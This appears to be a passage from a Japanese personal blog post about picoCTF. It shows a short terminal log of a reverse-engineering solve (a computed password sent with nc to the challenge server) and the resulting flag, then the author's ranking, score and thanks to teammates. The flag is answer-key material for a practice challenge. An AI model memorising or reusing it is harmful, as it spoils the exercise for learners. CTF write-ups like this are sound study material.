$ python solve.py mmhhkjbakavyaqprqnpbuygdymyyddkratrjsbbceizsgtbcxd $ nc $address $port Enter the secret password: mmhhkjbakavyaqprqnpbuygdymyyddkratrjsbbceizsgtbcxd SUCCESS! Here is your flag: picoCTF{s0lv3_angry_symb0ls_/*乱数*/}
picoCTF{s0lv3_angry_symb0ls_/乱数/}
またangr入門しそこねました ました!そんな
わっしょーーーーい!!!結果, 感想など!
アセンブリの最初がぴょこってなってますね?!みなさん、タブ文字を捕まえましょう。
今回、お試しで結果などを最後に書いてみることにしました!そのほうが見やすいかも...と思い!です!
まずは結果です!
209/6957 位でした!6425/9225 点です!
次は感想です!次は感想です!ってなんか愉快ですね?!
ワイワイやれて楽しかったです!!!!! 協力して解いた問題もあり、これって嬉しいことですよね___
チームのみなさん、運営のみなさん、いろいろのみなさん、全方向にありがとうございました_____!!!!!_